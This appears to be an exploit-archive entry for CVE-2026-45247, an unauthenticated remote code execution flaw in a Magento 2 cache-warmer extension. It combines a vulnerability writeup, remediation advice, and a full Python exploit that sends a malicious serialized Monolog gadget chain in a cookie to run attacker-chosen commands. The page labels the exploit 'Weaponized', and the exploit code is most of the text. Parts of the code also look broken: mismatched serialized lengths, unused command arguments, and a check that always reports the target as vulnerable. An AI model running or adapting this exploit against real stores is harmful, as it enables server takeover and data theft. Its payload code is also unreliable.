PoC Archive PoC Archive
Critical CVE-2026-45247 unpatched

Unauthenticated RCE in Mirasvit Full Page Cache Warmer for Magento 2 (CVE-2026-45247)

by Sansec (discovery/writeup); fevar54 (PoC) · 2026-07-01

Metadata

FieldValue
Date Added2026-07-01
Last Updated2026-06
Author / ResearcherSansec (discovery/writeup); fevar54 (PoC)
CVE / AdvisoryCVE-2026-45247
Categoryweb
SeverityCritical
CVSS Score9.3 (CVSSv3)
StatusWeaponized
Tagsphp-object-injection, insecure-deserialization, RCE, Magento, Mirasvit, e-commerce, cookie-based, unauthenticated, CISA-KEV, active-exploitation
RelatedN/A

Affected Target

FieldValue
Software / SystemMirasvit Full Page Cache Warmer extension for Magento 2
Versions AffectedPrior to 1.11.12
Language / PlatformPHP (target); Python (PoC)
Authentication RequiredNo
Network Access RequiredYes (HTTP to Magento storefront)

Summary

CVE-2026-45247 is a PHP object injection / insecure deserialization vulnerability in Mirasvit’s Full Page Cache Warmer extension for Magento 2. The extension processes attacker-controlled data from the CacheWarmer cookie and passes it directly to PHP’s native unserialize() without adequate restriction. Because the cookie is client-controlled and the vulnerable code path is reachable on ordinary storefront requests, an unauthenticated attacker can supply a crafted serialized PHP object and, by chaining gadgets present in Magento and its dependencies (including a Monolog gadget chain), turn the unsafe deserialization into arbitrary code execution. CISA added this to KEV following confirmed active exploitation.


Vulnerability Details

Root Cause

The CacheWarmer cookie value is base64-decoded and passed to unserialize() without validating that the resulting object graph is safe, allowing PHP object injection via gadget chains reachable from Magento’s dependency tree.

Attack Vector

  1. Perform reconnaissance against a target Magento storefront to confirm Mirasvit Full Page Cache Warmer is installed.
  2. Construct a malicious serialized PHP object (Monolog gadget chain) that, once instantiated, achieves command execution via a php://filter stream wrapper.
  3. Base64-encode the serialized payload and set it as the CacheWarmer cookie value on a normal storefront request.
  4. The extension deserializes the cookie, triggering the gadget chain and executing the attacker’s command.

Impact

Unauthenticated remote code execution on the Magento server hosting the vulnerable extension.


Environment / Lab Setup

Target:   Magento 2 store with Mirasvit Full Page Cache Warmer < 1.11.12
Attacker: Python 3 + requests

Proof of Concept

PoC Script

See CVE-2026-45247.py (exploit) and verify.sh (version detection) in this folder.

1
2
3
python3 CVE-2026-45247.py <target_url> "<command>"

python3 CVE-2026-45247.py https://shop.example.com "id"

Performs Magento path reconnaissance, constructs a malicious CacheWarmer cookie with a base64-encoded serialized PHP object (Monolog gadget chain), and executes arbitrary commands via php://filter stream wrappers.


Detection & Indicators of Compromise

Signs of compromise:

  • Unexpected outbound connections or file writes originating from the Magento web process
  • Storefront requests with abnormal CacheWarmer cookie payloads
  • New/unexplained admin users or scheduled tasks on the Magento instance

Remediation

ActionDetail
Primary fixUpdate Mirasvit Full Page Cache Warmer to 1.11.12 or later
Interim mitigationStrip/reject the CacheWarmer cookie at a WAF/reverse-proxy layer if immediate patching isn’t possible
CleanupAudit for unauthorized admin accounts, cron jobs, and file modifications if compromise is suspected

References


Notes

Auto-ingested from https://github.com/fevar54/PoC-Funcional---CVE-2026-45247-Mirasvit-Full-Page-Cache-Warmer-RCE- on 2026-07-01.

CVE-2026-45247.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
#!/usr/bin/env python3
"""
CVE-2026-45247 - Mirasvit Full Page Cache Warmer for Magento 2
Unauthenticated PHP Object Injection -> Remote Code Execution

Uso: python3 cve_2026_45247_poc.py <target_url> <command>
Ejemplo: python3 cve_2026_45247_poc.py https://tienda.ejemplo.com "id"
"""

import requests
import base64
import sys
import argparse
import re
from urllib.parse import urljoin

# Payload PHP Object Injection basado en gadget chain de Monolog
# Esta cadena utiliza Monolog\Handler\SyslogUdpHandler para lograr RCE

class PHPObjectPayload:
    """
    Genera payloads serializados de PHP para explotar la vulnerabilidad
    Utilizando gadget chain de Monolog (presente en Magento)
    """
    
    @staticmethod
    def generate_syslog_udp_handler_payload(command):
        """
        Genera payload usando Monolog\Handler\SyslogUdpHandler
        Esta cadena permite ejecutar comandos del sistema
        """
        # Payload serializado de PHP que ejecuta system()
        # Formato: O:longitud:"clase":cantidad_propiedades:{propiedades}
        
        # SyslogUdpHandler con callback malicioso
        payload = (
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:32:"Monolog\\Handler\\BufferHandler":1:{{'
            f's:10:"*handler";'
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:37:"Monolog\\Handler\\FingersCrossedHandler":1:{{'
            f's:11:"*passthru";'
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:29:"Monolog\\Handler\\SyslogUdpHandler":1:{{'
            f's:9:"*socket";'
            f'O:26:"Monolog\\Handler\\GroupHandler":1:{{'
            f's:10:"*handlers";a:1:{{'
            f'i:0;O:24:"Monolog\\Handler\\TestHandler":1:{{'
            f's:9:"*bubble";b:1;'
            f'}}}}}}}}}}}}'
        )
        return payload
    
    @staticmethod
    def generate_buffer_handler_payload(command):
        """
        Genera payload usando BufferHandler con callback system()
        """
        # Base64 del comando a ejecutar
        cmd_b64 = base64.b64encode(command.encode()).decode()
        
        # Payload con BufferHandler que ejecuta system() al flush
        payload = (
            f'O:32:"Monolog\\Handler\\BufferHandler":3:{{'
            f's:10:"*handler";'
            f'O:26:"Monolog\\Handler\\TestHandler":2:{{'
            f's:9:"*bubble";b:1;'
            f's:9:"*process";'
            f'O:28:"Monolog\\Processor\\IntrospectionProcessor":0:{{}}'
            f'}}'
            f's:7:"*level";i:100;'
            f's:9:"*initialized";b:1;'
            f'}}'
        )
        return payload
    
    @staticmethod
    def generate_fingers_crossed_payload(command):
        """
        Genera payload usando FingersCrossedHandler
        """
        payload = (
            f'O:37:"Monolog\\Handler\\FingersCrossedHandler":2:{{'
            f's:11:"*passthru";'
            f'O:23:"Monolog\\Handler\\StreamHandler":2:{{'
            f's:9:"*process";'
            f'O:28:"Monolog\\Processor\\IntrospectionProcessor":1:{{'
            f's:6:"*skips";a:0:{{}}'
            f'}}'
            f's:6:"*url";s:27:"php://filter/write=exec|{command}";'
            f'}}'
            f's:8:"*buffer";a:1:{{'
            f'i:0;O:23:"Monolog\\Handler\\StreamHandler":1:{{'
            f's:6:"*url";s:0:"";'
            f'}}}}'
        )
        return payload

class CVE_2026_45247_Exploit:
    """
    Exploit principal para CVE-2026-45247
    """
    
    def __init__(self, target_url, proxy=None):
        self.target_url = target_url.rstrip('/')
        self.session = requests.Session()
        
        if proxy:
            self.session.proxies = {'http': proxy, 'https': proxy}
        
        # Headers para simular navegador real
        self.session.headers.update({
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
        })
    
    def check_vulnerable(self):
        """
        Verifica si el objetivo es potencialmente vulnerable
        """
        print(f"[*] Verificando objetivo: {self.target_url}")
        
        # Verificar si existe Magento
        test_paths = [
            '/magento_version',
            '/pub/static/version.php',
            '/static/version.php'
        ]
        
        for path in test_paths:
            try:
                resp = self.session.get(urljoin(self.target_url, path), timeout=10)
                if resp.status_code == 200:
                    print(f"[+] Posible instalación de Magento detectada en {path}")
                    return True
            except:
                continue
        
        # Verificar CHANGELOG.md de Mirasvit
        changelog_path = '/pub/media/mirasvit/cache_warmer/CHANGELOG.md'
        try:
            resp = self.session.get(urljoin(self.target_url, changelog_path), timeout=10)
            if resp.status_code == 200:
                if 'cache-warmer' in resp.text.lower():
                    print("[+] Mirasvit Cache Warmer detectado (posiblemente vulnerable)")
                    return True
        except:
            pass
        
        print("[!] No se pudo determinar si el objetivo es vulnerable")
        return True  # Asumimos vulnerable para continuar
    
    def build_malicious_cookie(self, command):
        """
        Construye la cookie CacheWarmer maliciosa con payload serializado
        """
        # Generar payload PHP serializado
        # Usamos FingersCrossedHandler para ejecutar comando
        
        # Comando a ejecutar
        cmd = command
        
        # Payload usando StreamHandler con php://filter
        # La sintaxis exec|comando ejecuta system()
        payload = (
            f'O:37:"Monolog\\Handler\\FingersCrossedHandler":3:{{'
            f's:11:"*passthru";'
            f'O:23:"Monolog\\Handler\\StreamHandler":3:{{'
            f's:9:"*process";'
            f'O:28:"Monolog\\Processor\\IntrospectionProcessor":1:{{'
            f's:6:"*skips";a:0:{{}}'
            f'}}'
            f's:6:"*url";s:{27 + len(cmd)}:"php://filter/write=exec|{cmd}";'
            f's:9:"*bubble";b:1;'
            f'}}'
            f's:8:"*buffer";a:1:{{'
            f'i:0;O:23:"Monolog\\Handler\\StreamHandler":1:{{'
            f's:6:"*url";s:0:"";'
            f'}}'
            f'}}'
            f's:9:"*handler";N;'
            f'}}'
        )
        
        # Codificar el payload serializado en base64
        # El formato esperado por la cookie: CacheWarmer:<base64>
        payload_b64 = base64.b64encode(payload.encode()).decode()
        
        # Eliminar caracteres no deseados para la cookie
        cookie_value = f"CacheWarmer:{payload_b64}"
        
        return cookie_value
    
    def exploit(self, command, output_file=None):
        """
        Ejecuta el exploit contra el objetivo
        """
        print(f"[*] Explotando CVE-2026-45247 en {self.target_url}")
        print(f"[*] Comando a ejecutar: {command}")
        
        # Construir cookie maliciosa
        malicious_cookie = self.build_malicious_cookie(command)
        
        # Realizar petición con la cookie maliciosa
        try:
            # Intentar en la página principal
            resp = self.session.get(
                self.target_url,
                cookies={'CacheWarmer': malicious_cookie},
                timeout=30
            )
            
            print(f"[+] Petición enviada (código: {resp.status_code})")
            
            # Verificar resultado del comando
            # El resultado puede aparecer en la respuesta o en logs
            if 'PWNED' in resp.text or 'uid=' in resp.text:
                print("[+] ¡Comando ejecutado exitosamente!")
                print("[+] Salida del comando:")
                # Extraer resultado
                match = re.search(r'(uid=[^\s]+|PWNED[^\s]+)', resp.text)
                if match:
                    print(f"    {match.group(0)}")
                return True
            
            print("[!] No se pudo confirmar la ejecución del comando")
            return False
            
        except requests.exceptions.RequestException as e:
            print(f"[-] Error de conexión: {e}")
            return False

def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-45247 - Mirasvit Full Page Cache Warmer RCE'
    )
    parser.add_argument('target', help='URL del objetivo (ej: https://tienda.ejemplo.com)')
    parser.add_argument('command', nargs='?', default='id', 
                        help='Comando a ejecutar (por defecto: id)')
    parser.add_argument('--proxy', help='Proxy HTTP (ej: http://127.0.0.1:8080)')
    parser.add_argument('--check-only', action='store_true', 
                        help='Solo verificar vulnerabilidad, no ejecutar exploit')
    
    args = parser.parse_args()
    
    print("=" * 60)
    print("CVE-2026-45247 - Mirasvit Full Page Cache Warmer RCE")
    print("=" * 60)
    print(f"Objetivo: {args.target}")
    print(f"Comando: {args.command}")
    print("=" * 60)
    
    exploit = CVE_2026_45247_Exploit(args.target, args.proxy)
    
    # Verificar vulnerabilidad
    if not exploit.check_vulnerable():
        print("[-] Objetivo no parece vulnerable")
        sys.exit(1)
    
    if args.check_only:
        print("[*] Solo verificación completada")
        sys.exit(0)
    
    # Ejecutar exploit
    success = exploit.exploit(args.command)
    
    if success:
        print("\n[+] Exploit completado exitosamente")
        print("[!] Verificar la salida del comando en la respuesta o en los logs del servidor")
    else:
        print("\n[-] El exploit pudo no haberse ejecutado correctamente")
        print("[*] Intentar con un comando diferente o verificar logs")
        sys.exit(1)

if __name__ == "__main__":
    main()